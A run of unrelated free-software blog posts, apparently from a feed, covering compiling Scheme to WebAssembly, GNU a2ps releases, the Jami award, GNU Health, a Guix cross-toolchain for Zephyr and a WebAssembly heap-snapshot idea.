The other reason is more subtle: WebAssembly's type system is built insuch a way that types that are "structurally" equivalent areindistinguishable. So a pair has two fields, besides the hash, butthere might be a number of other fundamental object types that have thesame shape; you can't fully rely on WebAssembly's dynamic type checks(ref.test et al) to be able to query the type of a value. Instead were-use the low bits of the hash word to include a type tag, which mightbe 1 for pairs, 2 for vectors, 3 for closures, and so on.
Scheme to Wasm: Values (3)
(func $cons (param (ref eq) (ref eq)) (result (ref $pair)) (struct.new\_canon $pair ;; Assume heap tag for pairs is 1. (i32.const 1) ;; Car and cdr. (local.get 0) (local.get 1)))(func $%car (param (ref $pair)) (result (ref eq)) (struct.get $pair 1 (local.get 0)))
With this knowledge we can define cons, as a simple call tostruct.new\_canon pair.
I didn't have time for this in the talk, but there is a ghost hauntingthis code: the ghost of nominal typing. See, in a web browser at least,every heap object will have its first word point to its "hidden class" /"structure" / "map" word. If the engine ever needs to check that avalue is of a specific shape, it can do a quick check on the map word'svalue; if it needs to do deeper introspection, it can dereference thatword to get more details.
Under the hood, testing whether a (ref eq) is a pair or not should bea simple check that it's a (ref struct) (and not a fixnum), and then acomparison of its map word to the run-time type corresponding to$pair. If subtyping of $pair is allowed, we start to want inlinecaches to handle polymorphism, but the checking the map word is stillthe basic mechanism.
However, as I mentioned, we only have structural equality of types; two(struct (ref eq)) type definitions will define the same type and havethe same map word (run-time type / RTT). Hence the \_canon in the name ofstruct.new\_canon $pair: we create an instance of $pair, with thecanonical run-time-type for objects having $pair-shape.
In earlier drafts of the WebAssembly GC extensions, users could definetheir own RTTs, which effectively amounts to nominal typing: not onlydoes this object have the right structure, but was it created withrespect to this particular RTT. But, this facility was cut from thefirst release, and it left ghosts in the form of these \_canon suffixeson type constructor instructions.
For the Scheme-to-WebAssembly effort, we effectively add back in adegree of nominal typing via type tags. For better or for worse thisresults in a so-called "open-world" system: you can instantiate aseparately-compiled WebAssembly module that happens to define the sametypes and use the same type tags and it will be able to happily accessthe contents of Scheme values from another module. If you were to usenominal types, you would't be able to do so, unless there were somecommon base module that defined and exported the types of interests, andwhich any extension module would need toimport.
In the previous example we had $%car, with a funny % in the name,taking a (ref $pair) as an argument. But in the general case (barringcompiler heroics) car will take an instance of the unitype (ref eq).To know that it's actually a pair we have to make two checks: one, thatit is a struct and has the $pair shape, and two, that it has the righttag. Oh well!
Scheme to Wasm
Value representation
Varargs
Tail calls
Delimited continuations
Numeric tower
But with all of that I think we have a solid story on how to representvalues. I went through all of the basic value types in Guile andchecked that they could all be represented using GCtypes,and it seems that all is good. Now on to the next point: varargs.
In WebAssembly, you define functions with a type, and it is impossibleto call them in an unsound way. You must call $car exactly 2arguments or it will not compile, and those arguments have to be ofspecific types, and so on. But Scheme doesn't enforce theserestrictions on the language level, bless its little miscreant heart.You can call car with 5 arguments, and you'll get a run-time error.There are some functions that can take a variable number of arguments,doing different things depending on incoming argument count.
How do we square these two approaches to function types?
Uniform function type: argument count as sole parameter
Callee moves args to locals, possibly clearing roots
The approach we are taking is to virtualize the calling convention. Inthe same way that when calling an x86-64 function, you pass the firstargument in $rdi, then $rsi, and eventually if you run out ofregisters you put arguments in memory, in the same way we'll pass thefirst argument in the $arg0 global, then $arg1, and eventually inmemory if needed. The function will receive the number of incomingarguments as its sole parameter; in fact, all functions will be of type(func (param i32)).
The expectation is that after checking argument count, the callee willload its arguments from globals / memory to locals, which the compilercan do a better job on than globals. We might not even emit code tonull out the argument globals; might leak a little memory but probablywould be a win.
You can imagine a world in which $arg0 actually gets globallyallocated to $rdi, because it is only live during the call sequence;but I don't think that world is this one :)
Scheme to Wasm
Value representation
Varargs
Tail calls
Delimited continuations
Numeric tower
Great, two points out of the way! Next up, tail calls.
Scheme to Wasm: Tail calls
;; Call known function(return\_call $f arg ...);; Call function by value(return\_call\_ref $type callee arg ...)
Friends -- I almost cried making this slide. We Schemers are used toworking around the lack of tail calls, and I could have done so here,but it's just such a relief that these functions are just going to bethere and I don't have to think much more about them. Technicallyspeaking the proposal isn'tmerged yet; checking the phasesdocument it's at the laststation before headed to the great depot in the sky. But, soon soon itwill be present and enabled in all WebAssembly implementations, and weshould build systems now that rely on it.
Scheme to Wasm
Value representation
Varargs
Tail calls
Delimited continuations
Numeric tower
Next up, my favorite favorite topic: delimited continuations.
Scheme to Wasm: Prompts (1)
Problem: Lightweight threads/fibers, exceptions
Possible solutions
Eventually, built-in coroutines
binaryen’s asyncify (not yet ready for GC); see Julia
Delimited continuations
“Bring your whole self”
Before diving in though, one might wonder why bother. Delimitedcontinuations are a building-block that one can use to build other, moreuseful things, notably exceptions and light-weight threading / fibers.Could there be another way of achieving these end goals without havingto implement this relatively uncommon primitive?
For fibers, it is possible to implement them in terms of a built-incoroutinefacility.The standards body seems willing to include a coroutine primitive, butit seems far off to me; not within the next 3-4 years I would say. Solet's put that to one side.
There is a more near-term solution, to use asyncify to implementcoroutinessomehow; but my understanding is that asyncify is not ready for GC yet.
For the Guile flavor of Scheme at least, delimited continuations aretable stakes of their own right, so given that we will have them onWebAssembly, we might as well use them to implement fibers andexceptions in the same way as we do on native targets. Why compromiseif you don't have to?
There are a few ways to implement delimitedcontinuations,but my usual way of thinking about them is that a delimited continuationis a slice of the stack. One end of the slice is the promptestablished by call-with-prompt, and the other by the continuation ofthe call to abort-to-prompt. Capturing a slice pops it off the stack,copying it out to the heap as a callable function. Calling thatfunction splats the captured slice back on the stack and resumes itwhere it left off.
Scheme to Wasm: Prompts (3)
Delimited continuations are stack slices
Make stack explicit via minimal continuation-passing-style conversion
Turn all calls into tail calls
Allocate return continuations on explicit stack
Breaks functions into pieces at non-tail calls
This low-level intuition of what a delimited continuation is leadsnaturally to an implementation; the only problem is that we can't slicethe WebAssembly call stack. The workaround here is similar to thevarargs case: we virtualize the stack.
The mechanism to do so is a continuation-passing-style (CPS)transformation of each function. Functions that make no calls, such asleaf functions, don't need to change at all. The same goes forfunctions that make only tail calls. For functions that make non-tailcalls, we split them into pieces that preserve the only-tail-callsproperty.
Scheme to Wasm: Prompts (4)
Before a non-tail-call:
Push live-out vars on stacks (one stack per top type)
Before making a non-tail call, a "tailified" function will instead pushall live data onto an explicitly-managed stack and tail-call thecallee. It also pushes on the return continuation. Returning from thecallee pops the return continuation and tail-calls it. The returncontinuation pops the previously-saved live data and continues.
In this concrete case, tailification would split f into two pieces:
(define (f x y) (push! x) (push-return! f-return-continuation-0) (g y))(define (f-return-continuation-0 g-of-y) (define k (pop-return!)) (define x (pop! x)) (k (+ x g-of-y)))
Now there are no non-tail calls, besides calls to run-time routines likepush! and + and so on. This transformation is implemented bytailify.scm.
Scheme to Wasm: Prompts (5)
abort-to-prompt:
Pop stack slice to reified continuation object
Tail-call new top of stack: prompt handler
Calling a reified continuation:
Push stack slice
Tail-call new top of stack
No need to wait for effect handlers proposal; you can have it all now!
The salient point is that the stack on which push! operates (inreality, probably four or five stacks: one in linear memory or an arrayfor types like i32 or f64, three for each of the managed top typesany, extern, and func, and one for the stack of returncontinuations) are managed by us, so we can slice them.
Someone asked in the talk about whether the explicit memory traffic andavoiding the return-address-buffer branch prediction is a source ofinefficiency in the transformation and I have to say, yes, but I don'tknow by how much. I guess we'll find out soon.
Scheme to Wasm
Value representation
Varargs
Tail calls
Delimited continuations
Numeric tower
Okeydokes, last point!
Scheme to Wasm: Numbers
Numbers can be immediate: fixnums
Or on the heap: bignums, fractions, flonums, complex
Supertype is still ref eq
Consider imports to implement bignums
On web: BigInt
On edge: Wasm support module (mini-gmp?)
Dynamic dispatch for polymorphic ops, as usual
First, I would note that sometimes the compiler can unbox numericoperations. For example if it infers that a result will be an inexactreal, it can use unboxed f64 instead of library routines working onheap flonums ((struct i32 f64); the initial i32 is for the hash andtag). But we still need a story for the general case that involvesdynamic type checks.
The basic idea is that we get to have fixnums and heap numbers. Fixnumswill handle most of the integer arithmetic that we need, and will avoidallocation. We'll inline most fixnum operations as a fast path and callout to library routines otherwise. Of course fixnum inputs may producea bignum output as well, so the fast path sometimes includes anotherslow-path callout.
We want to minimize binary module size. In an idealcompile-to-WebAssembly situation, a small program will have a smallmodule size, down to a minimum of a kilobyte or so; larger programs canbe megabytes, if the user experience allows for the download delay.Binary module size will be dominated by code, so that means we need toplan for aggressive dead-code elimination, minimize the size of fastpaths, and also minimize the size of the standard library.
For numbers, we try to keep module size down by leaning on the platform.In the case of bignums, we can punt some of this work to the host; on aJavaScript host, we would use BigInt, and on a WASI host we'd compilean external bignum library. So that's the general story: inlined fixnumfast paths with dynamic checks, and otherwise library routine callouts,combined with aggressive whole-program dead-code elimination.
Scheme to Wasm
Value representation
Varargs
Tail calls
Delimited continuations
Numeric tower
Hey I think we did it! Always before when I thought about compilingScheme or Guile to the web, I got stuck on some point or another, wastempted down the corner-cutting alleys, and eventually gave up beforestarting. But finally it would seem that the stars are aligned: we getto have our Scheme and run it too.
Miscellenea
Debugging: The wild west of DWARF; prompts
Strings: stringref host strings spark joy
JS interop: Export accessors; Wasm objects opaque to JS. externref.
Of course, like I said, WebAssembly is still a weird machine: as acompilation target but also at run-time. Debugging is a right propermess; perhaps some other article on that some time.
How to represent strings is a surprisingly gnarly question; there istension within the WebAssembly standards community between those thatthink that it's possible for JavaScript and WebAssembly to share anunderlying stringrepresentation,and those that think that it's a fool's errand and that copying is theonly way to go. I don't know which side will prevail; perhaps more onthat as well later on.
Similarly the whole interoperation with JavaScript question is very muchin its early stages, with the current situation choosing to err on theside of nothing rather than the wrongthing. You can pass aWebAssembly (ref eq) to JavaScript, but JavaScript can't do anythingwith it: it has no prototype. The state of the art is to also ship a JSrun-time that wraps each wasm object, proxying exported functions fromthe wasm module as object methods.
Finally, some language implementations really need JIT support, likePyPy. There, that's a whole 'nother talk!
WebAssembly for the rest of us
With GC, WebAssembly is now ready for us
Getting our languages on WebAssembly now a S.M.O.P.
WebAssembly has proven to have some great wins for C, C++, Rust, and soon -- but now it's our turn to get in the game. GC is coming and we asa community need to be getting our compilers and language run-timesready. Let's put on the coffee and bang some bytes together; it's stillearly days and there's a world to win out there for the languagecommunity with the best WebAssembly experience. The game is afoot: happyconsing!
Update:Jamihas won this year's Award for Project of Social Benefit, presentedby the Free Software Foundation "to a project or team responsible forapplying free software, or the ideas of the free software movement, tointentionally and significantly benefit society. This award stressesthe use of free software in service to humanity."
Jami is free/libre software for universal communication thatrespects the freedoms and privacy of its users. An official GNUpackage, Jami is an end-to-end encrypted secure and distributedcommunication tool for calling, conferencing, messaging, and filetransfer. Jami has end-user applications across multiple operatingsystems and platforms, as well as multiple APIs and a plugin systemfor building upon and extending Jami as a framework for secure andprivate communication.
This talk gives an update on what's new in and about Jami sincebandali's "Jami and how it empowers users" talk at LibrePlanet2021.
I will add the presentation video once the conference recordingshave been processed and published by the Free Software Foundation.
LibrePlanet is a conference about software freedom,happening on March 19-20, 2023. The event is hosted by the FreeSoftware Foundation, and brings together software developers, law andpolicy experts, activists, students, and computer users to learnskills, celebrate free software accomplishments, and face upcomingchallenges. Newcomers are always welcome, and LibrePlanet 2023 willfeature programming for all ages and experiencelevels.
GNU a2ps is an Any to PostScript filter. Of course it processes plain text files, but also pretty prints quite a few popular languages.
More detailed web pages about GNU a2ps is available at https://savannah.gnu.org/projects/a2ps/.
This release is a minor bug-fix release. It fixes a long-standing but rare crash, makes a minor fix to the build system, and finally puts the manual online; see:
https://gnu.org/software/a2ps/manual/
Here are the compressed sources and a GPG detached signature: https://ftpmirror.gnu.org/a2ps/a2ps-4.15.2.tar.gz https://ftpmirror.gnu.org/a2ps/a2ps-4.15.2.tar.gz.sig
Use a mirror for higher download bandwidth: https://www.gnu.org/order/ftp.html
The SHA256 checksum is base64 encoded, instead of the hexadecimal encoding that most checksum tools default to.
Use a .sig file to verify that the corresponding file (without the .sig suffix) is intact. First, be sure to download both the .sig file and the corresponding tarball. Then, run a command like this:
gpg --verify a2ps-4.15.2.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key, or that public key has expired, try the following commands to retrieve or refresh it, and then rerun the 'gpg --verify' command.
This release was bootstrapped with the following tools: Autoconf 2.71 Automake 1.16.5 Gnulib v0.1-5853-ge0aefd96b6
NEWS
* Noteworthy changes in release 4.15.2 (2023-03-19) [stable] * Bug fixes: - Fix old crash when using --stdin="". * Build - Make configure stop if libpaper is not found. - Enable building the manual for gnu.org.
Mobile phone apps, that our board member Alexandre Oliva calls TRApps inhis new article, have replaced, not very spontaneously, web sites thatadhered to international standards and were compatible with freesystems, TRApping people in a duopoly of proprietary and invasivesystems.
When private businesses do so, it's bad; but when governments imposeon citizens the use of proprietary operating systems and programs, toget public services or to comply with legal obligations, we denouncethem as imposed taxing software.
They're "imposed" in the sense that you can't avoid them, and "taxing"in that they charge you and take from you your most valuable good:your freedom.
We call for consumers, citizens and users at large to resist theseimpositions and insist that public and private services be availablethrough sites that will work properly when accessed with a standardbrowser on a free operating system, without installingfreedom-depriving programs, not even those that even standard browsersthemselves would install and run automatically from visited sites.And, when it's necessary to run software on the service recipient'scomputer, the software ought to be free.
Free Software Foundation Latin America joined in 2005 theinternational FSF network, previously formed by Free SoftwareFoundations in the United States, in Europe and in India. Thesesister organizations work in their corresponding geographies towardspromoting the same Free Software ideals and defending the samefreedoms for software users and developers, working locally butcooperating globally. https://www.fsfla.org/
Copyright 2023 FSFLA
Permission is granted to make and distribute verbatim copies of thisentire document without royalty, provided the copyright notice, thedocument's official URL, and this permission notice are preserved.
Permission is also granted to make and distribute verbatim copies ofindividual sections of this document worldwide without royaltyprovided the copyright notice and the permission notice above arepreserved, and the document's official URL is preserved or replaced bythe individual section's official URL.
BOSTON, Massachusetts, USA -- Saturday, March 18, 2023 -- The FreeSoftware Foundation (FSF) today announced the recipients of the 2022Free Software Awards, which are given annually at the FSF'sLibrePlanet conference to groups and individuals in the freesoftware community who have made significant contributions to thecause for software freedom. This year's recipients of the awards areEli Zaretskii, Tad (SkewedZeppelin), and GNU Jami. As LibrePlanet 2023is a hybrid in-person and online conference this year, the ceremonywas conducted both in person and virtually.
The World Health Organization defines health as a state of complete physical, mental and social well-being and not merely the absence of disease or infirmity.
Unfortunately, this definition is far from being a reality in our societies. Instead of embracing the system of health, we live in the system of disease, ruled by a reactive, reductionist and unsustainable model of healthcare. The beautiful noble art and science of medicine is ill. Financial institutions and giant technological corporations are removing the human factor from medicine, transforming people and patients into clients. They are reducing the non-negotiable human right to healthcare to a privilege of a few.
Coming back to the formal definition of health, in the current system of disease very little is taken into account from the social and mental well-being . Today, many people with mental health conditions not only have to deal with the physiopathological aspects of the disorder, but also with the stigma, exclusion and invisibilization from the society.
But there is hope. Medicine is a social science, and GNUHealth is a social project with some technology behind. That feeling of optimism and hope has been reinforced in last week trip to Argentina and their people. In the end, medicine is about people interacting and taking care of people. Is about people before patients. I know them well, because I did my medical career in Argentina.
Group picture with health professionals from HESM, UNER, Government officials and GNU Solidario at the entrance of the leading Public Mental Health Hospital in Entre Ríos, Argentina
The Mental Health Hospital has chosen GNUHealth to improve the management of the institution resources, as well as to provide the best medical care for their community, both in outpatient and inpatient settings. Being able to properly identify every person who needs attention, and knowing the socio-sanitary, medical and clinical history in real time will make a big difference in the care of the individual.
The implementation of GNUHealth in this health institution will be lead by Prof. Dr. Fernando Sassetti and the department of public health studies of the University of Entre Ríos in the context of the GNU Health Alliance of Academic and Research Institutions agreement signed with GNU Solidario.
Health is an equilibrium of the inseparable and interconnected physical, social, mental and spiritual domains. Medicine is about taking into consideration and maintaining this body-mind-spirit-environment balance. This holistic approach to medicine is encoded in the genome of every nurse, psychologist, social worker and doctor from the Mental Health Hospital and the Primary care centers I got to know during these years in Entre Ríos, Argentina.
In order to deploy embedded software using Guix we first need to teach Guixhow to cross-compile it. Since Guix builds everything from source, thismeans we must teach Guix how to build our cross-compilation toolchain.
The Zephyr Project uses its own fork of GCC with custom configs forthe architectures supported by the project. In this article, wedescribe the cross-compilation toolchain we defined for Zephyr; it isimplemented as a Guixchannel.
About Zephyr
Zephyr is a real-time operating system from the Linux Foundation.It aims to provide a common environment which can target even the mostresource constrained devices.
Zephyr introduces a module system which allows third parties to share codein a uniform way. Zephyr uses CMake to perform physical component compositionof these modules. It searches the filesystem and generates scripts whichthe toolchain will use to successfully combine those components into afirmware image.
The fact that Zephyr provides this mechanism is one reason I chose totarget it in the first place.
This separation of modules in an embedded context is a really great thing.It brings many of the advantages that it brings to the Linux world such ascode re-use, smaller binaries, more efficient cache/RAM usage, etc.It also allows us to work as independent groups and composecontributions from many teams.
It also brings all of the complexity. Suddenly most of the problemsthat plague traditional deployment now apply to our embeddedsystem. The fact that the libraries are statically linked at compiletime instead of dynamically at runtime is simply an implementation detail.I say most because everything is statically linked so there is no runtimecomponent discovery that needs to be accounted for.
Anatomy of a Toolchain
Toolchains are responsible for taking high level descriptions of programsand lowering them down to a series of equivalent machine instructions.This process involves more than just a compiler. The compiler uses theGNU Binutilsto manipulate its internal representation down to a given architecture.It also needs the use of the C standard library as well as a few other librariesneeded for some compiler optimizations.
The C library provides the interface to the underlying kernel. Systemcalls like write and read are provided by GNU C Library(glibc) on most distributions.
In embedded systems, smaller implementations like RedHat'snewlib andnewlib-nano are used.
Bootstrapping a Toolchain
In order to compile GCC we need a C library that's been compiled forour target architecture. How can we cross compile our C library if weneed our C library to build a cross compiler? The solution is to builda simpler compiler that doesn't require the C library to function.It will not be capable of as many optimizations and it will be very slow,however it will be able to build the C libraries as well as the complete versionof GCC.
In order to build the simpler compiler we need to compile the Binutils towork with our target architecture.Binutils can be bootstrapped with our host GCC and have no target dependencies.More information is available in thisarticle.
Doesn't sound so bad right? It isn't... in theory.However internet forums since time immemorial have beenlittered with the laments of those who came before.From incorrect versions of ISL to the wrong C library being linkedor the host linker being used, etc.The one commonality between all of these issues is the environment.Building GCC is difficult because isolating build environments is hard.
In fact as of v0.14.2, the Zephyr “software development kit” (SDK) repository took down the buildinstructions and posted a sign that read"Building this is too complicated, don't worry about it."(I'm paraphrasing, butnot by much.)
We will neatly sidestep all of these problems and notrisk destroying or polluting our host system with garbageby using Guix to manage our environments for us.
Our toolchain only requires the first pass compiler becausenewlib(-nano) is statically linked and introduced to the toolchainby normal package composition.
The functioncross-binutilsreturns a package which has been configured for the given GNU triplet.We simply inherit that package and replace the source. The Zephyr buildsystem expects the binutils to be prefixed with arm-zephyr-eabi- whichis accomplished by adding another flag to the #:configure-flagsargument.
We can test our package definition using the -L flag with guix buildto add our packages.
This directory contains the results of make install.
GCC sans libc
This one is a bit more involved. Don't be afraid!This version of GCC wants ISL version 0.15. It's easy enoughto make that happen. Inherit the current version of ISL and swapout the source and update the version. For most packages the build process doesn'tchange that much between versions.
Like the binutils, there is a cross-gccfunctionfor creating cross-GCC packages. This one accepts keywords specifyingwhich binutils and libc to use. If libc isn't given (like here), gcc isconfigured with many options disabled to facilitate being built withoutlibc. Therefore we need to add the extra options we want (I got themfrom the SDK configuration scripts in the sdk-ngGit repository as well as thecommits to use for each of the tools).
(define-public gcc-arm-zephyr-eabi-12 (let ((xgcc (cross-gcc "arm-zephyr-eabi" #:xbinutils zephyr-binutils))) (package (inherit xgcc) (version "12.1.0") (source (origin (method git-fetch) (uri (git-reference (url "https://github.com/zephyrproject-rtos/gcc") (commit "0218469df050c33479a1d5be3e5239ac0eb351bf"))) (file-name (git-file-name (package-name xgcc) version)) (sha256 (base32 "1s409qmidlvzaw1ns6jaanigh3azcxisjplzwn7j2n3s33b76zjk")) (patches (search-patches "gcc-12-cross-environment-variables.patch" "gcc-cross-gxx-include-dir.patch")))) (native-inputs (modify-inputs (package-native-inputs xgcc) ;; Get rid of stock ISL (delete "isl") ;; Add additional dependencies that xgcc doesn't have ;; including our special ISL (prepend flex isl-0.15))) (arguments (substitute-keyword-arguments (package-arguments xgcc) ((#:phases phases) `(modify-phases ,phases (add-after 'unpack 'fix-genmultilib (lambda \_ (patch-shebang "gcc/genmultilib"))) (add-after 'set-paths 'augment-CPLUS\_INCLUDE\_PATH (lambda* (#:key inputs #:allow-other-keys) (let ((gcc (assoc-ref inputs "gcc"))) ;; Remove the default compiler from CPLUS\_INCLUDE\_PATH to ;; prevent header conflict with the GCC from native-inputs. (setenv "CPLUS\_INCLUDE\_PATH" (string-join (delete (string-append gcc "/include/c++") (string-split (getenv "CPLUS\_INCLUDE\_PATH") #\:)) ":")) (format #t "environment variable `CPLUS\_INCLUDE\_PATH' changed to `a`%" (getenv "CPLUS\_INCLUDE\_PATH"))))))) ((#:configure-flags flags) ;; The configure flags are largely identical to the flags used by the ;; "GCC ARM embedded" project. `(append (list "--enable-multilib" "--with-newlib" "--with-multilib-list=rmprofile" "--with-host-libstdcxx=-static-libgcc -Wl,-Bstatic,-lstdc++,-Bdynamic -lm" "--enable-plugins" "--disable-decimal-float" "--disable-libffi" "--disable-libgomp" "--disable-libmudflap" "--disable-libquadmath" "--disable-libssp" "--disable-libstdcxx-pch" "--disable-nls" "--disable-shared" "--disable-threads" "--disable-tls" "--with-gnu-ld" "--with-gnu-as" "--enable-initfini-array") (delete "--disable-multilib" ,flags))))) (native-search-paths (list (search-path-specification (variable "CROSS\_C\_INCLUDE\_PATH") (files '("arm-zephyr-eabi/include"))) (search-path-specification (variable "CROSS\_CPLUS\_INCLUDE\_PATH") (files '("arm-zephyr-eabi/include" "arm-zephyr-eabi/c++" "arm-zephyr-eabi/c++/arm-zephyr-eabi"))) (search-path-specification (variable "CROSS\_LIBRARY\_PATH") (files '("arm-zephyr-eabi/lib"))))) (home-page "https://zephyrproject.org") (synopsis "GCC for the Zephyr RTOS"))))
The newlib package package is quite straight forward (relatively).It is mostly adding in the relevent configuration flags and patchingthe files the patch-shebangs phase missed.
(define-public zephyr-newlib (package (name "zephyr-newlib") (version "3.3") (source (origin (method git-fetch) (uri (git-reference (url "https://github.com/zephyrproject-rtos/newlib-cygwin") (commit "4e150303bcc1e44f4d90f3489a4417433980d5ff"))) (sha256 (base32 "08qwjpj5jhpc3p7a5mbl7n6z7rav5yqlydqanm6nny42qpa8kxij")))) (build-system gnu-build-system) (arguments `(#:out-of-source? #t #:configure-flags '("--target=arm-zephyr-eabi" "--enable-newlib-io-long-long" "--enable-newlib-io-float" "--enable-newlib-io-c99-formats" "--enable-newlib-retargetable-locking" "--enable-newlib-lite-exit" "--enable-newlib-multithread" "--enable-newlib-register-fini" "--enable-newlib-extra-sections" "--disable-newlib-wide-orient" "--disable-newlib-fseek-optimization" "--disable-newlib-supplied-syscalls" "--disable-newlib-target-optspace" "--disable-nls") #:phases (modify-phases %standard-phases (add-after 'unpack 'fix-references-to-/bin/sh (lambda \_ (substitute# '("libgloss/arm/cpu-init/Makefile.in" "libgloss/arm/Makefile.in" "libgloss/libnosys/Makefile.in" "libgloss/Makefile.in") (("/bin/sh") (which "sh"))) #t))))) (native-inputs `(("xbinutils" ,zephyr-binutils) ("xgcc" ,gcc-arm-zephyr-eabi-12) ("texinfo" ,texinfo))) (home-page "https://www.sourceware.org/newlib/") (synopsis "C library for use on embedded systems") (description "Newlib is a C library intended for use on embeddedsystems. It is a conglomeration of several library parts that are easilyusable on embedded products.") (license (license:non-copyleft "https://www.sourceware.org/newlib/COPYING.NEWLIB"))))
Mostly complete. libstdc++ does not build becausearm-zephyr-eabi is not arm-none-eabi so a dynamic link check isperformed/failed. I cannot figure out how crosstool-ng handles this.
Now that we've got the individual tools it's time to create our complete toolchain.For this we need to do some package transformations.Because these transformations are going to have to be done for every combination ofbinutils/gcc/newlib it is best to create a function which we can reuse for every versionof the SDK.
(define (arm-zephyr-eabi-toolchain xgcc newlib version) "Produce a cross-compiler zephyr toolchain package with the compiler XGCC and the C\n library variant NEWLIB." (let ((newlib-with-xgcc (package (inherit newlib) (native-inputs (modify-inputs (package-native-inputs newlib) (replace "xgcc" xgcc)))))) (package (name (string-append "arm-zephyr-eabi" (if (string=? (package-name newlib-with-xgcc) "newlib-nano") "-nano" "") "-toolchain")) (version version) (source #f) (build-system trivial-build-system) (arguments '(#:modules ((guix build union) (guix build utils)) #:builder (begin (use-modules (ice-9 match) (guix build union) (guix build utils)) (let ((out (assoc-ref %outputs "out"))) (mkdir-p out) (match %build-inputs (((names . directories) ...) (union-build (string-append out "/arm-zephyr-eabi") directories))))))) (inputs `(("binutils" ,zephyr-binutils) ("gcc" ,xgcc) ("newlib" ,newlib-with-xgcc))) (synopsis "Complete GCC tool chain for ARM zephyrRTOS development") (description "This package provides a complete GCC tool chain for ARM bare metal development with zephyr rtos. This includes the GCC arm-zephyr-eabi cross compiler and newlib (or newlib-nano) as the C library. The supported programming language is C.") (home-page (package-home-page xgcc)) (license (package-license xgcc)))))
This function creates a special package which consists of the toolchainin a special directory hierarchy, i.e arm-zephyr-eabi/.Our complete toolchain definition looks like this.
Zephyr uses CMake as its build system. It contains numerous CMake files in both the so-called ZEPHYR\_BASE,the zephyr source code repository, as well as a handful in the SDK which help select the correct toolchainfor a given board.
There are standard locations the build system will look for the SDK. We are not using any of them.Our SDK lives in the store, immutable forever.According to the Zephyr documentation, the variable ZEPHYR\_SDK\_INSTALL\_DIR needs to point to our custom spot.
We also need to grab the CMake files from therepositoryand create a file, sdk\_version, whichcontains the version string ZEPHYR\_BASE uses to find a compatible SDK.
Along with the SDK proper we need to include a number ofpython packages required by the build system.
In order to test we will need an environment with the SDK installed.We can take advantage of guix shell to avoid installing test packages intoour home environment. This way if it causes problems we can just exit the shelland try again.
ZEPHYR\_BASE can be cloned into a temporary workspace to test our toolchain functionality.(For now. Eventually we will need to create a package for zephyr-base thatour Guix zephyr-build-system can use.)
In order to build for the test board (k64f in this case) we need to get a hold of the vendorHardware Abstraction Layers and CMSIS.(These will also need to become Guix packages to allow the build system to compose modules).
To inform the build system about this module we pass it in with -DZEPHYR\_MODULES= which isa semicolon separated list of paths containing a module.yml file.
To build the hello world sample we use the following incantation.
If everything is set up correctly we will end up with a ./builddirectory with all our build artifacts. The SDK is correctly installed!
Conclusion
A customized cross toolchain is one of the most difficult pieces ofsoftware to build. Using Guix, we do not need to be afraid of thecomplexity! We can fiddle with settings, swap out components, and dothe most brain dead things to our environments without a care in theworld. Just exit the environment and it's like it never happened atall.
It highlights one of my favorite aspects of Guix, every package is aworking reference design for you to modify and learn from.
About GNU Guix
GNU Guix is a transactional package manager andan advanced distribution of the GNU system that respects userfreedom.Guix can be used on top of any system running the Hurd or the Linuxkernel, or it can be used as a standalone operating system distributionfor i686, x86\_64, ARMv7, AArch64 and POWER9 machines.
In addition to standard package management features, Guix supportstransactional upgrades and roll-backs, unprivileged package management,per-user profiles, and garbage collection. When used as a standaloneGNU/Linux distribution, Guix offers a declarative, stateless approach tooperating system configuration management. Guix is highly customizableand hackable through Guileprogramming interfaces and extensions to theScheme language.
GNU a2ps is a filter which generates PostScript from various formats, with pretty-printing features, strong support for many alphabets, and customizable layout.
See https://www.gnu.org/software/a2ps/ for more information.
This is a bug-fix release. Users of 4.15 should upgrade. See below for more details.
Here are the compressed sources and a GPG detached signature: https://ftpmirror.gnu.org/a2ps/a2ps-4.15.1.tar.gz https://ftpmirror.gnu.org/a2ps/a2ps-4.15.1.tar.gz.sig
Use a mirror for higher download bandwidth: https://www.gnu.org/order/ftp.html
The SHA256 checksum is base64 encoded, instead of the hexadecimal encoding that most checksum tools default to.
Use a .sig file to verify that the corresponding file (without the .sig suffix) is intact. First, be sure to download both the .sig file and the corresponding tarball. Then, run a command like this:
gpg --verify a2ps-4.15.1.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key, or that public key has expired, try the following commands to retrieve or refresh it, and then rerun the 'gpg --verify' command.
This release was bootstrapped with the following tools: Autoconf 2.71 Automake 1.16.5 Gnulib v0.1-5853-ge0aefd96b6
NEWS
* Noteworthy changes in release 4.15.1 (2023-03-12) [stable] * Bug fixes: - Use “grep -F” rather than obsolete fgrep. - Fix broken a2ps-lpr-wrapper script, and translate to sh for portability.
Hey comrades, I just had an idea that I won't be able to work on in thenext couple months and wanted to release it into the wild. They say ifyou love your ideas, you should let them go and see if they come back toyou, right? In that spirit I abandon this idea to the woods.
You define some struct and array types, there are some global variables,and some functions to actually do the work. (There are probably alsotables and other things but I am simplifying.)
If you consider the object graph of an instantiated module, you willhave some set of roots R that point to GC-managed objects. The liveobjects in the heap are the roots and any object referenced by a liveobject.
Let us assume a standalone WebAssembly module. In that case the set oftypes T of all objects in the heap is closed: it can only be one of thetypes $t0, $t1, and so on that are defined in the module. Thesetypes have a partial order and can thus be sorted from most to leastspecific. Let's assume that this sort order is just the reverse of thedefinition order, for now. Therefore we can write a general typeintrospection function for any object in the graph:
In particular, given a WebAssembly module, we can generate a function totrace edges in an object graph of its types. Using this, we canidentify all live objects, and what's more, we can take a snapshot ofthose objects:
(func $snapshot (result (ref (array (mut anyref)))) ;; Start from roots, use introspect to find concrete types ;; and trace edges, use a worklist, return an array of ;; all live objects in topological sort order )
Having a heap snapshot is interesting for introspection purposes, but myinterest is in having fast start-up. Many programs have a kind of"initialization" phase where they get the system up and running, andonly then proceed to actually work on the problem at hand. For example,when you run python3 foo.py, Python will first spend some time parsingand byte-compiling foo.py, importing the modules it uses and so on,and then will actually run foo.py's code. Wizer lets you snapshot thestate of a module after initialization but before the real work begins,which can save on startup time.
For a GC heap, we actually have similar possibilities, but the mechanismis different. Instead of generating an array of all live objects, wecould generate a serialized state of the heap as bytecode, and anotherfunction to read the bytecode and reload the heap:
(func $pickle (result (ref (array (mut i8)))) ;; Return an array of bytecode which, when interpreted, ;; can reconstruct the object graph and set the roots )(func $unpickle (param (ref (array (mut i8)))) ;; Interpret the bytecode, building object graph in ;; topological order )
The unpickler is module-dependent: it will need one case to constructeach concrete type $tN in the module. Therefore the bytecodegrammar would be module-dependent too.
